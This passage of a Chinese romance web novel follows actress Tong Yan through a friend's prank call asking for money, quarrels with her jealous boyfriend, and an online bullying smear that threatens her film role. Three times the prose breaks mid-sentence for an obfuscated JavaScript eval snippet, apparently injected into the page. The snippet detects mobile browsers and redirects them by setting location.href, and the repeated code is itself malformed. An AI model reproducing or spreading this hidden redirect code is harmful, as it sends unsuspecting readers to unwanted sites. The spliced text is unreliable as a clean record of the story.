童颜难以置信：“交友？你觉得到现在为止，我还有可能跟她成为朋友？从一开始，不想交友想结仇的人，不是我吧？如果换成是你，你能咽下这口气吗？” 魏子铭沉默。 换成他，即便和孙艺涵做不了朋友，他也不会如此直白地对线。 可能他天性就不喜欢冲突，但在圈里混了多年，他比童颜更知道，圆融，是这个圈子的生存法则。 但这些话他不能告诉童颜，尤其在她盛气之时。 叹了口气，魏子铭拉住她的手：“我们不提她了。” 然而，童颜不买账。 她神色很认真地看着他说：“子铭哥，我们三番两次因为孙艺涵争执，我明确地告诉过你，不想让我们之间总有一个她存在。但你似乎没有把这句话放在心上。是，你比我经验足，比我会处事，但我也有自己的考虑，如果你不能支持我，我希望你至少尊重我、相信我，而不是上来就教育我、改造我。” 好好的气氛，又成了这样。 童颜和魏子铭都有些疲惫，各自沉默着。 少顷，魏子铭先开口道歉：“颜颜，是我的错，我太心急，太担心你吃亏了。” 童颜摇了摇头。 魏子铭认输，但她并不感觉自己赢了。 童颜很不喜欢听他道歉。 这可是她崇拜了十几年的人啊，和她在一起后，却时时陪着小心，处处留神在意，对不起、我的错……这些词成了挂在嘴边的话。 是她的问题吧？她太敏感，太自我了。她一向自觉有容人之量，跟谁都能处得来，然而，在爱情里好像变了样，也许，这才是她真实的一面。 童颜感觉很挫败。 这个来之不易的见面，此刻却让她如鲠在喉。 以至于江述打来电话时，她暗暗松了一口气：终于不用陷在这样的局面里了，她和魏子铭，都需要离开这间屋子，畅快呼吸一下。 “江述。”她接起电话，“你回北京了？” 江述“嗯”了一声：“我现在，需要十万块。”声音有点远，似乎不在手机旁边。 “？”童颜挪开手机，看了看号码，确实是他的没错，“你不是骗子吧？变声器？AI？” 旁边有人说话，过了一会儿，江述说：“不是。我在外面吃饭，不小心砸了店里一个古董花瓶，一时没带那么多钱赔人家。” “……” 声音确实是江述没错。 如果是AI，仿不了这么逼真吧？ 以防万一，她进行了二次确认：“我的生日是哪天？” “7月24日。”对面不假思索。 好，没问题了。 童颜打开微信，给江述转了十万过去。 正要挂断电话，江述又说：“你来接我吧。” “……” 她没听错吧，一个大男人还要人接？童颜简直无语了。 “为什么？” 19. 混蛋 对面仍然有嘈杂的人声，沉默了更久的时间，江述说：“我在派出所。赔完了钱，还需要朋友或者监护人签个保证书才能走。” 这都叫什么事啊？ 为啥吃个饭会把人家古董花瓶砸了？ 砸就砸了，怎么还闹到派出所去了？ 等等…… “你经纪人呢？” “联系不上。”这句倒是答得很痛快。 童颜整个就是一脑子黑线。 虽然不清楚到底发生了什么，但听上去是有点麻烦，否则，江述这么不爱求人的性子，也不会给她打电话。 “把地址发我。你等着吧。”童颜说完，挂了电话。 魏子铭问：“要走了吗？去找江述？” 童颜点头：“他遇到点麻烦，需要解救，我先走了。” 她拎包起身，却被魏子铭拉住了手。 “你和他关系很好？” “当然。” “是哪种好？” “好朋友的好。”童颜皱眉，“子铭哥，你在想什么？” “我在想……你是不是和他走得过近了。”魏子铭盯着她，神色有些不快。 童颜忽然有点生气：“首先，我和他清清白白。其次，我是自由的。” “你觉得，男女之间有真正的友谊吗？”魏子铭又问。 他一向是温和的、稳重的，此刻却是尖锐的、不理智的。 身为同性的直觉，让他意识到江述是个危险的存在。 他绝不愿意失去童颜。 然而，童颜却认为这句话是对她的侮辱。 她和江述之间是相互鼓励、彼此支持的战友情谊，这份情谊不容任何人质疑，即便是魏子铭也不行。 难不成，他还怀疑她脚踏两只船？ “我和江述就是。”童颜努力克制情绪，冷静地说。 魏子铭盯着她看了一会儿，忽然泄气地摇了摇头：“是我口不择言了。” 童颜什么也没说，绕过他径直走了出去。 * 声色KTV。 江述回北京参加活动，结束后收到一个制片姐姐的微信，说和几个朋友在唱歌，让他过来一起玩。 这位姐姐叫刘思雨，比他大几岁，是个性格爽朗的女生，之前他参加户外探险综艺，就是她推荐的。 他们私下有个小群，除了刘思雨，还有几个相熟的摄制组朋友，大家偶尔会约出来吃饭，但自从江述走红，就一直没再聚过了。 这次是在网上看见江述的活动图，才想着让他完事来聚聚。 其他人都说，江述现在红了，不一定能请来。刘思雨却觉得，他不是那种不念旧情的人，于是当即给江述打了电话。 江述到KTV时，几个人正在玩游戏，真心话大冒险。 都没给他寒暄的机会，直接拉进来一起玩。 几轮下来，江述输了，真心话有风险，他选择大冒险。 大家相互对视，由刘思雨出马，要整蛊他一下。 “你给一个异性好友打电话，让他借你十万块，并且来接你。如果那人做了，就算过关，否则就是你输，要罚酒。” 他想了想，说：“直接罚酒吧。” “那不成！”刘思雨一拍桌子，“不带你这么玩的江述，人红了，就不屑跟我们一起玩了是吧！” 其他人也起哄，开玩笑让他必须打。 江述被逼上梁山，只得掏出了电话。 原本想打给李正的。 刘思雨直接拒绝：“注意条件！是异性好友。” 江述无奈，犹豫片刻，还是拨通了童颜的电话。 他已经做好准备，干完这票被童颜狠狠报复回来，只是没想到，他打电话时，童颜正在和魏子铭争执，本来就心情不好，还被人耍了！ 江述很快就给童颜再次打去电话，解释刚才发生的事，把十万块退回了。 可童颜已经在去接他的路上了。 她戴着口罩和帽子，捂得严严实实，坐在后排。听见江述的话，当即气得血压飙升。 “混蛋！你给我回家！” 童颜几乎咆哮着喊出了这句话，把司机师傅吓得一抖，车子瞬间打着旋漂移了十几米。 江述到家是晚十点半，又等了二十多分钟，童颜才过来。 门一开，童颜直接发难，手包砸他身上：“耍我好玩吗？！” 江述一手抱着她的包，另一手揉了揉胸口。 这包奇形怪状、棱角分明，砸一下还挺疼的，但江述不敢有任何怨言。 “吃饭吗？” 他找了个比较容易缓和她情绪的话头。 童颜气呼呼坐在沙发上，抱起手臂，狠狠瞪着他：“气饱了！” 江述陪着小心坐过去，刚沾到沙发，就听一声喊：“你起来！不许跟我坐一个沙发。” 江述瞬间站直了。 “怎么生这么大气？”他自知理亏，说话都是小心翼翼的。 要搁平时，童颜吐槽两句也就完了，顶多再讹他一幅画，毕竟谁都免不了遇上这种social局，江述能打电话给她，是真心拿她当朋友，她理解。 但今次情况不同，她刚和魏子铭吵完架，紧接着就被人耍，还耍了两回，让她感觉自己像个跳梁小丑，谁都能招惹两下，这一肚子邪火，真是不发不痛快！ 童颜瞪了江述一会儿，还没想到怎么惩治他，先把脖子抻累了，于是腾地站起来，走到冰箱处，开门拿了两罐啤酒，又气势汹汹地走了回来。 那下脚的力道，恨不得把地板跺出个窟窿。 重新坐回沙发上，拉开啤酒罐，咕咚咕咚喝了几口酒，罐子狠狠顿在茶几上，酒水从中飞溅出来。 “你慢点喝，刚从冰箱里拿出来，凉。”江述好心提醒了一句。 童颜眼睛瞪得圆溜溜：“就你懂得多对吧！”江述顿时闭紧了嘴，结果坐着的人还不满意，“就显你高对吧！” 很好。 坐是不能坐，站也不能站。 江述默默地蹲了下去，让童颜俯视他。 她作了一会儿，气撒出去不少，神色有所缓和。 “你今天最好给我个说法，否则我跟你没完！” 江述想了想，说：“其实，你不该给我转钱的。” “哦，敢情我帮你忙，还帮出错来了？”童颜一脸无语，大喊，“江述，你别太离谱！” 江述感觉好笑，又不敢笑，清了清嗓子说：“如果你不转钱，我认输罚酒，就没有后来这些事了，这是其一。其二，十万块毕竟不是小数目，你只核对了一个生日，就认定对面是我，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498858|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想，如果是骗子，他既然以我的名义去骗你，能不了解你的信息吗？即便不了解，一查也就知道了。那你岂不是，要损失很多钱？” “所以，我还得感谢你不是骗子？” 江述慎重地，点了点头，又说：“以后但凡涉及到钱的，你当心点，就算是我给你打电话，也不要轻信，你没听说现在有很多类似的骗局，都是打着某个演员的名义，说自己流落荒山，需要两千块钱……” “……” 讲了半天，他耍人还耍出大道理来了？ “啊啊啊啊啊啊啊！！！！”童颜彻底疯了，一把将他推倒在地，“我说不过你！你怎么这么烦啊！！” 她脸都气红了，边说边撇着嘴，要哭不哭的。 江述忙从地上爬起来，抓住她两手：“我不说了……不狡辩，我错了，女侠，童大小姐，我认罚行不行……” 童颜挥开他的手：“你说怎么罚？！” 怎么罚，不该是她说了算吗？江述懵住了。 两人傻兮兮地对视片刻，他试探着说：“……俯卧撑？” 童颜想了想，可以，让他做一百个俯卧撑，最好累死他！ 转念又觉得，还不够！ “俯卧撑只虐身，跟你耍我可不是一个性质，我要虐心的！” 江述服了。 “那你说，怎么罚？” 童颜站起身，端着下巴走来走去，思忖了半天，终于眼睛一亮：“有了！” 二十分钟后。 江述发了一条微博，只有一个狗头表情和一张配图，却引爆了社交网络。 图中，江述双手将一张A4纸举在胸前，上面写着四个大字：我是罪人。 黑色马克笔，他自己写的。 很多朋友发来问询，江述回复不过来，干脆在评论区统一解答：受罚。 网友纷纷猜测，江述是和朋友玩游戏输了，被整蛊。 由于他平时形象过于清冷，这条微博却暴露了搞笑属性，这种反差感引发了网友讨论。很快，#江述玩游戏输了#话题词条就上榜了。 网络世界七嘴八舌，江述不去理会，只问童颜：“消气了吗？” 童颜不生气了。 其实刚刚江述在写那四个字的时候，她就不生气了，发微博前，反倒是她有点犹豫。 如今江述的影响力这么大，虽然只是个玩笑，也说不定会给他造成什么未知的影响。 但江述主动表示，必须认错认罚，所以还是发了。 童颜不生他气了，刚才跟魏子铭说的话又浮上心头。 江述还在蹲着，偏头打量她神情，问：“怎么还是不开心？” 童颜瞥他一眼，抿了抿嘴，憋了会儿，说：“江述，我们是好朋友吧？” “怎么这么问？” “没什么。”童颜垂下眼，“我只是在想，男女之间，有没有真正的友谊。” 江述脑中瞬间警铃大作。 难道童颜发现了他的心意？如果是这样，以他对童颜的了解，在她有男朋友的情况下，会立刻和他保持更礼貌的距离。 可能再也不会联系他了。 他一时没有回答。 童颜皱眉：“你不会……喜欢我吧？” 她就这样直白地问出了，他藏在心底很久的话。 20. 嘉宾 江述有一瞬的狼狈，面上却没露端倪，扯了扯嘴角，略带嫌弃地说：“我喜欢温柔的女孩子。” 童颜瞬间松了口气。 “温柔”这个词，显然和她八竿子打不着。 那么就是说，她和江述之间，确实是纯得不能再纯的友谊，她不必对魏子铭有任何抱歉。 江述这边呢，虽然没跟任何人传过绯闻，而且长相也很……不知怎么描述，总之会让人产生“长得这么帅应该不喜欢女生吧”这种诡异的念头，以至于她一度怀疑他性向小众…… 此刻听他亲口说喜欢温柔的女孩子，童颜再一次露出“放心了”的表情。 “幸好不是男孩子。” “……” “那你喜欢的人是谁啊？”童颜追问。 她太好奇了。太想知道江述求不得的人长什么样了。 可惜江述守口如瓶，任凭她怎么威逼利诱，都没有套出他的话。 童颜有点生气。 她喜欢谁都告诉他，但他喜欢谁却瞒着她。 算什么好朋友！ 童颜冷着脸赌了会儿气，转念想到他暗恋的滋味只怕也不好受，于是勉强原谅了他。 离开之前，江述告诉她一个消息。 等他的新戏杀青，会去她即将录制的综艺里，做两期飞行嘉宾。 童颜一听眼睛就亮了：“真的？”忽又记起，今晚刚被他耍了，不能这么快尽释前嫌，于是收起快乐的表情，高冷地“嗯”了一声，“知道了。” 然后潇洒地背上包包离开了。 * 一个月后，在云南大理一个村子里。童颜录制《一起生活吧》综艺第三期，江述来飞行。 在此之前，两人之间还发生了点小插曲。 有娱记拍到童颜出入江述家，关于两人恋爱的传闻甚嚣尘上，童颜可不想再被人撕，于是迅速发微博辟谣。 @童颜YY：谣言勿信，24K纯友谊。 微博发出后，童颜给江述发微信，他可能在拍戏，没回复，不过江述工作室转发微博进行了互动。 于是网友都知道了，童颜和江述是24K纯友谊关系。 综艺录制过程中，主持人和嘉宾还围绕这一点打趣，让二人互相评价对方。 童颜先说：“江述这人吧，看上去特厉害，实际真特厉害。他不仅演戏好，还会画画，拍照技术也很牛，你就感觉，只要他想，这世上没什么事是他搞不定的。活得跟个男菩萨似的，热爱众生万物，又好像随时可以抛弃众生万物。” “哇哦，很高的评价哦！”主持人赞叹。 “等等等等……”童颜又举手，“我还要补充一点。就是偶尔有点轴，主意特别正，认定的事就一定要做，谁说什么都不好使。” “比如呢？” “就之前，我们录过一档户外综艺嘛，有个环节是徒手攀岩，很难、而且有危险，大家都很担心，中途有好几次，他可以选择放弃，但他就一定要登顶。”童颜说着，朝江述丢了个嫌弃的眼神，“轴人一个。” 主持人乐不可支：“这真是亲生朋友才敢说的话……那江述呢，童颜在你心里，是怎样的一个人？” 江述正在切菜——节目是慢生活，也是真生活，嘉宾都要自己做饭干活——闻言手里的刀都没停，说：“她性情率真、重情重义，是个生命力很顽强的女孩子。” 童颜在一旁淘米，支棱着耳朵听完，不服气地说：“没了？你倒是多夸点啊，我夸了你那么多！” 江述好笑地瞥了她一眼，不语。 主持人觉得二人互动很有趣，不想这么快放过江述，于是又问：“那缺点呢？也不是说缺点，就比如，刚刚童颜说你‘轴’，类似这种，不那么正向的？” 江述停下手，认真想了想，说：“有点脑子，但不多。” “啊啊啊啊啊……你敢骂我，我要杀了你！！”童颜丢下淘米的盆，朝江述冲了过去。 江述见状丢下刀撒腿就跑。 童颜顺手捡起他的刀，追到院子里。 搞得满院子鸡飞狗跳。 主持人和另外两位嘉宾哈哈大笑。 到了晚上，节目录制结束，没有摄像机跟着了，童颜回到房间，洗漱完，趴在床上背单词。 江述发来微信：「在干什么？」 不开美颜：「看书。」 江述：「……」 不开美颜：「？」 什么意思，她就不能看书学习？ 过了很久，对面没有回复，童颜忽然想到一事，当即下床要去找江述，无意间朝窗外瞥了一眼，发现他正在院外的田间小路上散步。 她跑下楼，出门追上他，拍了一下：“喂！” 江述转头，打了个手势。 童颜这才发现，他戴着蓝牙耳机，正在打电话。 “Pleasehavefullagencyforthmercialcopyrightofthisnovel……OK,thankyou!Bye.” 江述挂了电话。 童颜听到他说一个单词，novel，于是问：“什么小说？你在国外还写小说了？” “当然没有。”江述说，“找我什么事？” “哦对，确实有事，我最近不是在接触孟山涛导演的电影吗，听说里面角色有留学背景，我就想，提前做做功课嘛！想请你帮我补英语。” “你英语目前什么水平。” “四级过了！”童颜骄傲答。 “简单的日常对话有问题吗？” “有问题。” 江述：“……” 童颜：“？” 江述仰头看天，童颜忍不住皱眉。 “什么意思？能补吗？” “也不是不能，就是……有点难。” “我学习能力很强的，你看不起人是吧？！” 童颜又想起他那句‘有点脑子但不多’了，气得狠狠拍了他一巴掌，还不解气，直接伸脚到他腿前，绊了他一个趔趄。 江述稳住身形，无语地看着她。 童颜咯咯直乐，乐完又想起一事。 “我听说，你拒绝了孟导的电影，真的假的啊？” 她是听林慧心说的。 据说山涛工作室联系了李正，询问江述的档期，李正满口说有。开玩笑，孟山涛的电影，没有档期也得腾出档期来啊！ 结果江述知道后，让李正去拒绝，李正当场疯了。 “孟山涛的电影多少人抢破了脑袋，你不想上？！你是不是觉得自己红了就开始飘了，我劝你清醒点！” 嚷嚷了半天，江述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13516403|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就一句话：“原有的安排不能变，做人要讲诚信。” 李正气得骂骂咧咧：“讲个鬼的诚信？诚信多少钱一斤啊？”最终还是拗不过，又联系了山涛工作室委婉拒绝。 江述也给孟山涛发了微信，亲自解释并道歉，孟山涛表示理解，也没多说什么，事就这么黄了。 如今童颜问起来，江述还是那句话：“有安排了，撞档。” 童颜面无表情地看着他，确认他不是开玩笑后，当场炸毛，跟李正的反应是一样的。 江述不想聊这件事，就把话题转回了她身上，“你呢？选上的希望大吗？” 童颜无语了一阵儿，也就不再问了，顺着他的话回：“还行。听心姐说差不多能定。” 江述点了点头：“好好准备，晚点给你推荐几部美剧，认真看剧，比死背单词有用。” 正说着话，魏子铭打电话来了。 童颜冲江述摇摇手机，走到一旁去接电话。 江述站了会儿，见她一时半会儿没有结束的苗头，就往回走，走了几步不放心，又停下，坐到路边一方石块上等。 百无聊赖地坐了二十分钟，心里逐渐不平起来，他随手捡起一块小土疙瘩，照着童颜的脚丢了过去。 准头不错。 “江述！”煲电话粥的人怒喝，指了指他，“一会儿再跟你算账。” 很快，童颜打完了电话。 她低着头，一言不发地往回走，经过江述身边时也没停。 江述起身赶上她，问：“怎么突然不开心了？” “真生气了？”江述低头左右看看，捡起一颗石子，递给她，“来吧，报仇。” 童颜没接。 她停下脚，视线落在他手里的石子上，片刻，声音有些懊丧地说：“江述，我不跟你学英语了。” 江述不解地看着她。 “我以后，还是跟你保持距离吧。” 魏子铭刚才在电话里说：“颜颜，你能不能别总和江述待在一起？” “你还是不相信我？我们就是朋友关系！”童颜有点生气。 魏子铭沉默片刻，说：“即便是朋友关系，他与你在一起的时间，比我还长，我也是会吃醋的。你之前说，不喜欢我私下见孙艺涵，换位思考，你能理解我吗？” 童颜语塞。 她好像理解了魏子铭的心情。 有点郁闷，感觉自己像个渣女，一时间顾不上江述的心情，就那么直白地要和他划清界限。 江述听完，慢慢放下了手。 童颜崩溃那夜，他曾起了心要把她抢过来，然而，他其实不知该如何抢，唯一能做的，就是多在她眼前刷存在感。 可若刷存在感有用，世上就没有那么多求而不得了。 有时候，看着她眉开眼笑的模样，他麻木地觉得，这样也可以，无论是谁，只要她开心就好。 但当夜深人静，茫然无措的感觉常常以灭顶之势袭来，他仿佛一个人在爬山，爬了很久很久，山顶依然遥不可及，低头一看，几乎还在山脚。 可能这辈子就这样了，他注定永远无法抵达山顶。 他以为这已经是最坏的了，没想到，童颜直接剥夺了他爬山的资格。 江述自嘲一笑：“随你。” 他丢下手里的石子，一个人往住处走了。 21. 力挺 八月底，综艺录制结束时，童颜收到了好消息。 孟山涛电影《一个女人的情书》女主人选，不出意外的话就是她。 林慧心说这话的时候，脸上是掩饰不住的喜气。 一切都已谈妥，就等签合同了。 然而，“不出意外”的事往往就会出意外。 就在林慧心寄出盖章合同那天，一篇关于童颜霸凌的小作文不胫而走。 @一一就是我：什么人都可以当明星吗？童颜中学霸凌同学，敢回应吗？ 这篇千字长文提到，童颜中学时是有名的小太妹，只要谁惹了她，一定吃不了兜着走。被霸凌的女生只因在食堂不小心撞到童颜，就被她和几个女生拦在校外打了一顿。最后，那女生患上抑郁转学，童颜却因家人的操作，被学校保住了。 事情很快登上了各大社交平台的热榜头条。 童颜工作室第一时间回应：无稽之谈，已报警。 然而，铺天盖地的质疑和辱骂还是来了。 “这篇文章的细节和情绪很真实，看着不像假的。” “ty你真的我哭了！一直觉得她长得就像那种上学时会欺负人的小太妹，我的直觉太准了。” “退圈！娱乐圈什么鱼虾螃蟹都能混了是吧？？？” “中学霸凌同学，现在欺负同剧组演员，还真是始终如一呢！” “工作室还有脸报警，建议先查查自己的艺人吧真是好笑！” “ty父母养出这种社会渣滓，不检讨自己，还暗箱操作保下她，呵呵，资本的力量，这个社会真是没救了！” …… 在五花八门的网络攻击言论中，不少人提到了童颜即将进组的电影作品。 “听说她正在接触孟山涛的电影，还是女性主义题材，她本人就是女性主义的反面教材吧？！” “实名抵制童颜出演孟山涛电影！” “这种吃人血馒头长大的人，凭什么得到好资源，滚啊！” “坚决抵制！ty可以演，作为观众我们不会看！” …… 这是一次有预谋的抹黑，目的就是为了撕掉童颜的电影资源。 面对群情激愤的网络抵制，山涛工作室不得不暂停了合同流程。 “李总。说了这么多，其实就一句话，请您相信童颜，她绝对不是会霸凌同学的人。”林慧心站在窗边打电话，眉头紧皱着。 电话那头也很无奈：“我相信童颜没用，现在是网友不相信，项目还没开机就遭到抵制，我这边压力也很大啊……” “OK，那我们各退一步，合同暂停，但也请您先不要接触其他人，给我们点时间自证清白。电影是女性题材，如今童颜正在承受恶意抹黑和女性刻板印象导致的网暴，这就是一个活生生的例子啊！如果让背后的人得逞，我认为这是对咱们这个项目的侮辱。” 对面沉默片刻，同意做出让步。 “我尽量争取。但你知道，项目一旦动工，时间就是金钱，我们耗不起，你应该理解。山涛老师那边现在也很生气，我还得去跟他聊聊。” “理解理解，多谢您！让您费心了！” 挂了电话，林慧心转头看沙发上的童颜，她正在刷微博。 林慧心走过去，拿走了她的手机。 “别看了。除了让你心情不好，没有任何意义，不要被这些恶意绑架。” 童颜冷着脸一言不发。 林慧心有些诧异。一向这种时候，童颜早该火冒三丈骂街了，如今怎么这么平静？ “你不是在憋什么大招吧？这个时候你想干什么，一定要提前跟我说。这次的事跟之前都不一样，校园霸凌，这话题太敏感了，大众情绪已经挑动起来了，如今各路大V都开始蹭热度，不是你发个微博回应就能解决的。” “我没什么大招。”童颜咬着牙说，“是我高估了她的底线。但是心姐，如果这次我输给了她，我以后的演艺生涯只做一件事，就是用尽一切手段踩死她！” * 霸凌风波持续两天，热度仍然不减。 童颜参与的综艺《一起生活吧》正在热播，弹幕里乌烟瘴气。 节目播到第三期，江述和童颜的友情成为看点，理智追综的网友大呼磕到了，而黑粉和键盘侠却到处掐架，甚至跑到江述的微博评论区去闹。 “关系这么好，你都不知道她是什么人吗？” “要不是这次的事，我都信了你夸她的话，一丘之貉，已取关！” “失望，以后你演的作品不会再看了。” …… 童颜失火，殃及江述。 她感觉很抱歉，给江述发微信：「对不起，让你受牵连了。」 在此之前，两人已经快一个月没说过话了。 江述一直没回复，童颜越发内疚，以为他生了大气，再也不想理她了。 过了两个小时，江述回了：「在拍摄，刚看到。」 童颜手指在屏幕敲字，打了删，删了打，最后还是不知道怎么回复。 江述又回一条：「少喝酒，别上网，如果想找人说话，随时打给我。」 童颜眼圈一热，仰了仰头。 这时候，工作人员提醒她发宣传物料，《一起生活吧》综艺侧拍海报。 童颜登录微博，发完九宫格就退出了。 谁知过了一会儿，手机推送提示震个不停。童颜从上到下划，全都是类似的媒体速报。 “童颜深陷霸凌风波，江述力挺好友。” “刚刚，江述发博声援童颜！” “童颜霸凌风波真相未明，江述发声。” …… 童颜呆愣片刻，重新登录微博，发现自己刚发的物料被江述转发了。转发文字：开心点，相信清者自清。 在这个人人避之唯恐不及的时刻，连她的男朋友都不敢明着沾边，只在微信上安慰，江述却第一个公开站出来挺她了。 短短一句话，让她获得了莫大的勇气。 童颜眼眶湿润，给江述发微信：「你干嘛转发啊。本来就因为我被骂，还上赶着主动找骂，你是不是有病啊。」 对面很快回复：「嗯，有病。」 童颜又感动又好笑，平复了一下情绪，回他：「你放心吧，这些谣言打不倒我的，我这次都没有喝酒。」 过了会儿，江述发来一个微信自带的“拥抱”表情。 对于童颜来说，现实世界暂时平静，代言的品牌虽然招了不少骂，还没有提出解约的，品牌方也都在观望事态发展。 事情不小，但作为一个成熟的经纪人，林慧心还算稳得住。 然而，江述的经纪人李正疯了。 “这会儿正是负面发酵的敏感期，别人躲还来不及，你说你干嘛要往前凑？我知道你们是朋友，关系好，那你私底下安慰不就完了吗，非得在网上亮明态度？本来咱们就倒霉被波及，你这么一搞，骂的人会更多。”李正又气又愁，抓着头发在车上走来走去。 江述在看剧本，闻言抬起头说：“如果这会儿站在风暴中心的是我，童颜也会站出来。” 李正语结。 “算了算了，反正虱子多了不愁，干就完了！” * 霸凌风波第四天，辱骂的声浪小了些，渐渐有同学站出来澄清事实，之前作品的配角演员也纷纷表示相信童颜的人品，然而不想信的人仍然不会信。 九月十号那天，童颜要在长城上拍一个公益广告，是之前就定好的行程，难得主办方没有因为这次风波就撇下她。 童颜心怀感激，去的一路上心情都不错，如果不是看到了厌恶的人，她的好心情会持续一整天。 这个广告是念白+分趴演唱的形式，主办方邀请了八个艺人，其中就有孙艺涵。 如今童颜和她的仇已经到你死我活的程度，连看一眼都嫌脏。 忍着恶心拍完了广告，下去的路上，童颜落在后面，过了一会儿，孙艺涵也落后了，还有意无意地和童颜走在了一起。 童颜忍不住翻了个白眼，加快脚步往前。 孙艺涵却喊住了她：“童颜，恭喜你呀，看上去舆论要平息了呢。” 霸凌风波昨晚有了结论。 警方找出了发帖人，是一个十二岁的小姑娘，因为不喜欢童颜，在同伴的撺掇下，编了那么个霸凌的小故事。 被警方教育之后，小姑娘吓得直哭，家长一个劲儿求情，甚至要给童颜下跪道歉，童颜心一软，选择了和解，但需要小姑娘发帖道歉，澄清谣言。 澄清帖发出后，警方发布了警情通报，事情终于盖棺定论。 事件一百八十度反转，营销号和各路大V又开始不遗余力地蹭热度，倒省了团队不少力气，虽然还有黑粉搞阴谋论，但终究大势已去。 孙艺涵这会儿主动来招惹，童颜实在不知她是出于什么心理，凉凉道：“是呢。没让你阴谋得逞，真是不好意思。” 孙艺涵闻言也不气，仍然笑得清纯无辜：“你不要自己心情不好，就随便攀咬别人哦。虽然你不喜欢我，但我还是盼着你早日澄清事实的。” 童颜不想看她演，干脆停下脚正面开撕。 “你这人，真挺牛逼的。你看我，讨厌你就是讨厌你，看见你这张脸，我觉得今天的晚饭都吃不下去了。长城上风光这么好，你到底干嘛非往我这凑啊？明明看不惯我，又干不掉我，是不是挺憋气的？” 孙艺涵被怼的脸一阵青一阵白。 “啧啧啧，真该录下来你这个表情，以后再演这种咬牙切齿的戏，就照这样来，前几天不小心看到你一个剧的片段，真是给我尴尬得不行。果然还是得真听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521591|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真看真感受，才能打动人嘛！” 童颜满脸戏谑，出完了气就不打算再跟她浪费时间，抬脚正要走，孙艺涵又开口了。 “童颜，你现在很得意对吧？我要是告诉你一个消息，不知道你还能不能这么得意了？” 童颜心头升起警惕，面上却不显。 “你想说就说，别在这故弄玄虚。” 孙艺涵走近两步，用折扇遮住嘴巴，曼声说：“山涛导演的电影，你没戏了哦！” 童颜不想相信，但看孙艺涵这样子，不像是胡说八道，难道真出了什么问题？她没再理会孙艺涵，转身就往下走。 洋洋得意的声音从背后传来：“只怕你现在做什么，都没用了呢！” 童颜给林慧心打了个电话，确认合同的事。 林慧心说，山涛工作室的人躲着她，也不接电话，听说是在跟孙艺涵那边聊合作。 童颜想了想，又给潘昀打电话，请他帮忙从中牵线，再见孟山涛一面。 潘昀半开玩笑问：“我帮你办成了，有什么好处？” 童颜未作他想，也玩笑答：“您这衣食无缺的，我要说请吃大餐，只怕你也看不上。” 对面静了静，说：“等我消息吧。至于好处，先记账。” * 第二天晚上，魏子铭来找童颜。 两人确定关系一年多，魏子铭只在今春三月来过一次她家。 今次是霸凌风波后，两人第一次私下见面，无论如何，童颜对于他的突然造访，还是开心的。 只是没料到，开心的感觉延续了不到一小时，又开始吵架。 起因是童颜想做个小蛋糕，她从网上看到一个教学视频，很感兴趣，放到收藏夹，一直想着哪天跟男朋友一起尝试下，只是没有机会。 一开始都很愉快，等到烘烤环节，魏子铭笑她：“你一个不喜欢自己开火的人，家里的工具倒是很齐全，高端烤箱，是不是第一次用？” 童颜羞赧，拍了他一下：“就是第一次，怎么样！这烤箱还是江述送的，他前几个月不是代言了这个品牌嘛，人家给他寄了几台，他就送了我一台。” 魏子铭当下手顿了顿，没说话。 后来聊到孟山涛的新电影，魏子铭问她进展如何，童颜说：“正在跟一个讨厌的人抢。我联系了潘昀，想请他帮忙牵线，再见一见导演。” 魏子铭停下抹奶油的手，说：“你和潘昀，关系也很好？” 童颜一愣，转头看他：“说不上很好，就是一个意外结识的朋友。” “潘昀是追光的太子爷，平时求他的人大约要排到法国了，他愿意帮你这个意外结识的朋友，只怕目的不简单。”魏子铭低着头，继续往蛋糕胚上抹奶油。 童颜却皱着眉，放下了裱花枪。 “你想说什么？” 魏子铭说：“我想让你跟他保持距离，免得以后吃亏。” “你怀疑我？相信网上说的金主包养？” “当然没有。”魏子铭说着，转过身与她对视，“但是颜颜，愿意帮你的人有潘昀，有江述，一个坐拥资本，一个后起之秀，说实在的，我感觉很挫败。” 童颜万万没想到，耀眼如魏子铭，也会说出这样一番话，以至于她呆愣片刻，不知该如何回应。 “有时候我觉得，你要关照的人和事，太多了。你可能没有想象中那么爱我。”魏子铭又道。 童颜瞬间感觉受到了侮辱：“你觉得，我应该为了你，和身边的男性都保持距离，最好不要有任何往来，才是爱你的表现？” “我没有这样说。” “可你就是这样想的！”童颜大火上头，“因为你的不满，我没有再主动联系过江述，如今又要因为你的不满，和潘昀划清界限。但是子铭哥，你知道我这些天经历了什么吗？” 魏子铭看着她，不语。 